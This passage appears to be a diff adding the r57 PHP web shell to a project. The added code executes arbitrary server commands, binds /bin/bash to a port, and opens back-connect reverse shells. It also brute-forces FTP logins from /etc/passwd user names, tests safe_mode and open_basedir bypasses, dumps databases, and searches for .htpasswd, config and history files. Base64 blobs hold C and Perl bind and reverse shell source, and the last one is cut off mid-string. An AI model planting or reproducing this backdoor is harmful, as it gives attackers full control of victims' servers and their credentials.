align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>' ', +'ru_text2' =>' ', +'ru_text3' =>' ', +'ru_text4' =>' ', +'ru_text5' =>' ', +'ru_text6' =>' ', +'ru_text7' =>'', +'ru_text8' =>' ', +'ru_butt1' =>'', +'ru_butt2' =>'', +'ru_text9' =>' /bin/bash', +'ru_text10'=>' ', +'ru_text11'=>' ', +'ru_butt3' =>'', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-', +'ru_text14'=>'', +'ru_butt4' =>'', +'ru_text15'=>' ', +'ru_text16'=>'', +'ru_text17'=>' ', +'ru_text18'=>' ', +'ru_text19'=>'Exploits', +'ru_text20'=>'', +'ru_text21'=>' ', +'ru_text22'=>'datapipe', +'ru_text23'=>' ', +'ru_text24'=>' ', +'ru_text25'=>' ', +'ru_text26'=>'', +'ru_butt5' =>'', +'ru_text28'=>' safe_mode', +'ru_text29'=>' ', +'ru_butt6' =>'', +'ru_text30'=>' ', +'ru_butt7' =>'', +'ru_text31'=>' ', +'ru_text32'=>' PHP ', +'ru_text33'=>' open_basedir cURL', +'ru_butt8' =>'', +'ru_text34'=>' safe_mode include', +'ru_text35'=>' safe_mode mysql', +'ru_text36'=>'', +'ru_text37'=>'', +'ru_text38'=>'', +'ru_text39'=>'', +'ru_text40'=>' ', +'ru_butt9' =>'', +'ru_text41'=>' ', +'ru_text42'=>' ', +'ru_text43'=>' ', +'ru_butt10'=>'', +'ru_butt11'=>'', +'ru_text44'=>' ! !', +'ru_text45'=>' ', +'ru_text46'=>' phpinfo()', +'ru_text47'=>' php.ini', +'ru_text48'=>' ', +'ru_text49'=>' ', +'ru_text50'=>' ', +'ru_text51'=>' ', +'ru_text52'=>' ', +'ru_text53'=>' ', +'ru_text54'=>' ', +'ru_butt12'=>'', +'ru_text55'=>' ', +'ru_text56'=>' ', +'ru_text57'=>'/ /', +'ru_text58'=>'', +'ru_text59'=>'', +'ru_text60'=>'', +'ru_butt13'=>'/', +'ru_text61'=>' ', +'ru_text62'=>' ', +'ru_text63'=>' ', +'ru_text64'=>' ', +'ru_text65'=>'', +'ru_text66'=>'', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'', +'ru_text69'=>'1', +'ru_text70'=>'2', +'ru_text71'=>" :\r\n- CHOWN - UID () \r\n- CHGRP - GID () \r\n- CHMOD - ( 0777)", +'ru_text72'=>' ', +'ru_text73'=>' ', +'ru_text74'=>' ', +'ru_text75'=>'* ', +'ru_text76'=>' find', +'ru_text77'=>' ', +'ru_text78'=>' ', +'ru_text79'=>' ', +'ru_text80'=>'', +'ru_text81'=>'', +'ru_text82'=>' ', +'ru_text83'=>' SQL ', +'ru_text84'=>'SQL ', +'ru_text85'=>' safe_mode MSSQL ', +'ru_text86'=>' ', +'ru_butt14'=>'', +'ru_text87'=>' ftp-', +'ru_text88'=>'FTP-:', +'ru_text89'=>' ftp ', +'ru_text90'=>' ', +'ru_text91'=>' ', +'ru_text92'=>' ', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-', +'ru_text95'=>' ', +'ru_text96'=>' ', +'ru_text97'=>' : ', +'ru_text98'=>' : ', +'ru_text99'=>'* /etc/passwd', +'ru_text100'=>' ', +'ru_text101'=>' (user -> resu) ', +'ru_text102'=>'', +'ru_text103'=>' ', +'ru_text104'=>' ', +'ru_text105'=>'', +'ru_text106'=>'', +'ru_text107'=>'', +'ru_butt15'=>'', +'ru_text108'=>' ', +'ru_text109'=>'', +'ru_text110'=>'', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +); +/* + + - . ( ) + . +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray></font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '! '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '! '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = " "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array(' ftp ',' ftp ',' ftp '); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array(' ',' '); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl 